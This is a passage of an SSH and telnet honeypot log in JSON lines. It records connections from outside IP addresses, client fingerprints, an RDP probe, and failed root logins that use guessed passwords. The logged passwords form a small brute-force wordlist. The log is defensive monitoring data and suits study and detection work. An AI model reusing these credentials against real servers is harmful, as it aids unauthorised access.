sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:53.170654Z","src_ip":"103.173.227.57","session":"6e87b9b6b098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxcde3","message":"login attempt [root/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:53.890349Z","src_ip":"103.173.227.57","session":"6e87b9b6b098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:55.133059Z","src_ip":"103.173.227.57","session":"6e87b9b6b098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c4d2416611","protocol":"telnet","message":"New connection: 152.42.224.71:45816 (10.17.0.5:23) [session: a1c4d2416611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:08.547601Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45820,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad50be9b110","protocol":"telnet","message":"New connection: 152.42.224.71:45820 (10.17.0.5:23) [session: 0ad50be9b110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:14.227021Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45826,"dst_ip":"10.17.0.5","dst_port":23,"session":"173a47cf46b8","protocol":"telnet","message":"New connection: 152.42.224.71:45826 (10.17.0.5:23) [session: 173a47cf46b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:14.322009Z"}
{"eventid":"cowrie.session.closed","duration":120.00146746635437,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:24.010961Z","src_ip":"152.42.224.71","session":"7d6119112b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33382,"dst_ip":"10.17.0.5","dst_port":23,"session":"2241a6acd483","protocol":"telnet","message":"New connection: 152.42.224.71:33382 (10.17.0.5:23) [session: 2241a6acd483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:26.238250Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":52450,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08568c32de6","protocol":"ssh","message":"New connection: 43.156.28.136:52450 (159.203.135.109:22) [session: c08568c32de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:28.755186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:28.761200Z","src_ip":"43.156.28.136","session":"c08568c32de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:29.003263Z","src_ip":"43.156.28.136","session":"c08568c32de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoxiao520","message":"login attempt [root/xiaoxiao520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:29.983768Z","src_ip":"43.156.28.136","session":"c08568c32de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:31.224030Z","src_ip":"43.156.28.136","session":"c08568c32de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62232,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed8b73310542","protocol":"ssh","message":"New connection: 152.42.212.128:62232 (159.203.135.109:22) [session: ed8b73310542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:35.401418Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:35.406088Z","src_ip":"152.42.212.128","session":"ed8b73310542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:35.409624Z","src_ip":"152.42.212.128","session":"ed8b73310542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.96609139442444,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:39.442712Z","src_ip":"152.42.224.71","session":"587d1874d9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52658,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11cbf4ce0cf","protocol":"ssh","message":"New connection: 147.45.197.250:52658 (10.17.0.5:22) [session: a11cbf4ce0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:40.803951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:40.809262Z","src_ip":"147.45.197.250","session":"a11cbf4ce0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:40.899436Z","src_ip":"147.45.197.250","session":"a11cbf4ce0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexei","message":"login attempt [root/alexei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:41.188492Z","src_ip":"147.45.197.250","session":"a11cbf4ce0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:42.280925Z","src_ip":"147.45.197.250","session":"a11cbf4ce0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.42624282836914,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:43.652997Z","src_ip":"152.42.224.71","session":"0ad50be9b110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.11209726333618,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:44.485285Z","src_ip":"152.42.224.71","session":"3ed863f6159b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":53104,"dst_ip":"159.203.135.109","dst_port":22,"session":"560b93d522cd","protocol":"ssh","message":"New connection: 103.188.177.46:53104 (159.203.135.109:22) [session: 560b93d522cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:48.828116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:48.832888Z","src_ip":"103.188.177.46","session":"560b93d522cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:49.074016Z","src_ip":"103.188.177.46","session":"560b93d522cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nn123456","message":"login attempt [root/Nn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:50.068845Z","src_ip":"103.188.177.46","session":"560b93d522cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:51.311616Z","src_ip":"103.188.177.46","session":"560b93d522cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54108,"dst_ip":"10.17.0.5","dst_port":23,"session":"686ef02ae6b9","protocol":"telnet","message":"New connection: 152.42.224.71:54108 (10.17.0.5:23) [session: 686ef02ae6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:52.221469Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54114,"dst_ip":"10.17.0.5","dst_port":23,"session":"6687c271a6b9","protocol":"telnet","message":"New connection: 152.42.224.71:54114 (10.17.0.5:23) [session: 6687c271a6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:43:55.110526Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":47266,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff29cbdbdce1","protocol":"ssh","message":"New connection: 43.133.62.188:47266 (159.203.135.109:22) [session: ff29cbdbdce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:01.687243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:01.692845Z","src_ip":"43.133.62.188","session":"ff29cbdbdce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:01.932334Z","src_ip":"43.133.62.188","session":"ff29cbdbdce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nl123456","message":"login attempt [root/Nl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:02.944653Z","src_ip":"43.133.62.188","session":"ff29cbdbdce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:04.187047Z","src_ip":"43.133.62.188","session":"ff29cbdbdce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48696,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9381b74d3c","protocol":"telnet","message":"New connection: 152.42.224.71:48696 (10.17.0.5:23) [session: bb9381b74d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:05.045350Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":34142,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe425d86519","protocol":"ssh","message":"New connection: 102.210.148.92:34142 (159.203.135.109:22) [session: ffe425d86519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:05.552436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:05.557435Z","src_ip":"102.210.148.92","session":"ffe425d86519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:05.806530Z","src_ip":"102.210.148.92","session":"ffe425d86519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoxiao520","message":"login attempt [root/xiaoxiao520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:06.831487Z","src_ip":"102.210.148.92","session":"ffe425d86519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:08.083098Z","src_ip":"102.210.148.92","session":"ffe425d86519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.95854830741882,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:09.280381Z","src_ip":"152.42.224.71","session":"173a47cf46b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59984,"dst_ip":"10.17.0.5","dst_port":23,"session":"55041b8368c0","protocol":"telnet","message":"New connection: 152.42.224.71:59984 (10.17.0.5:23) [session: 55041b8368c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:10.610000Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f1afb95076","protocol":"telnet","message":"New connection: 152.42.224.71:59990 (10.17.0.5:23) [session: 54f1afb95076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:11.614984Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":42168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa8a7773e92","protocol":"ssh","message":"New connection: 103.149.170.125:42168 (10.17.0.5:22) [session: 4fa8a7773e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:14.630320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:14.635550Z","src_ip":"103.149.170.125","session":"4fa8a7773e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:15.656856Z","src_ip":"103.149.170.125","session":"4fa8a7773e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890qwe","message":"login attempt [root/1234567890qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:16.423465Z","src_ip":"103.149.170.125","session":"4fa8a7773e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:17.695527Z","src_ip":"103.149.170.125","session":"4fa8a7773e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49678,"dst_ip":"159.203.135.109","dst_port":22,"session":"363a146a17ba","protocol":"ssh","message":"New connection: 194.113.233.25:49678 (159.203.135.109:22) [session: 363a146a17ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:18.444222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:18.448870Z","src_ip":"194.113.233.25","session":"363a146a17ba","protocol":"ssh"}
